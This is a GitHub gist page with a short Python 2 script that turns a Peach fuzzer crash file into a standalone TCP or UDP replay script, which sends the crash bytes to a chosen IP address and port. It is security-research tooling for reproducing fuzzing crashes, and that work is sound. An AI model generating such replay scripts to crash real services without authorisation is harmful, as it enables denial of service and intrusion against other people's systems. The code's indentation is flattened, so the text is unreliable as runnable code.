Skip to content

Instantly share code, notes, and snippets.

@habibiefaried
Created April 28, 2018 13:47
Show Gist options
  • Save habibiefaried/f9f581d51d7832c64c6359bcd3e204d9 to your computer and use it in GitHub Desktop.
Save habibiefaried/f9f581d51d7832c64c6359bcd3e204d9 to your computer and use it in GitHub Desktop.
Exploit generator from PEACH file
#!/usr/bin/python
import sys
import binascii
'''
This python script will generate tcp/udp socket wrapper from PEACH crash binary
Always check this script's output!
Only works on single file PEACH crash binary
All printable characters will be printed out normally (instead of \\x)
'''
if (len(sys.argv) < 5):
print "Usage: ./exploitgen.py <IP Address> <PORT> <PEACH crash file> <TCP/UDP>"
sys.exit(0)
IP = str(sys.argv[1])
PORT = int(sys.argv[2])
FILE = str(sys.argv[3])
connectstr = "s.connect((\""+IP+"\","+str(PORT)+"))" #for tcp
sendtostr = "s.sendto(data,(\""+IP+"\","+str(PORT)+"))" #for udp
def printTCPexp(payload):
m = (
"""
print("Sending "+str(len(data))+" bytes data")
""")
exp = (
"""
#!/usr/bin/python
import sys,socket
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
"""+connectstr+"""
data = \""""+payload+"\"\n\n"+m+"""
s.send(data)
""")
text_file = open(FILE+".py","w")
text_file.write(exp)
text_file.close()
print "Exploit over TCP file has been written to "+FILE+".py"
def printUDPexp(payload):
m = (
"""
print("Sending "+str(len(data))+" bytes data")
""")
exp = (
"""
#!/usr/bin/python
import sys,socket
s = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
data = \""""+
payload+
"""\"\n
"""
+m+"\n"+
sendtostr+"\n")
text_file = open(FILE+".py","w")
text_file.write(exp)
text_file.close()
print "Exploit over UDP file has been written to "+FILE+".py"
data = ""
f = open(FILE, "rb")
byte = "."
try:
while byte != "":
# Do stuff with byte.
byte = f.read(1)
if (byte != ""):
bs = binascii.hexlify(byte)
intbs = int(bs,16)
#if ((intbs >= 32) and (intbs <= 126)):
#data = data + chr(intbs)
#else:
data = data + "\\x" + bs
finally:
f.close()
if (str(sys.argv[4]).lower() == "tcp"):
printTCPexp(data)
else:
printUDPexp(data)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment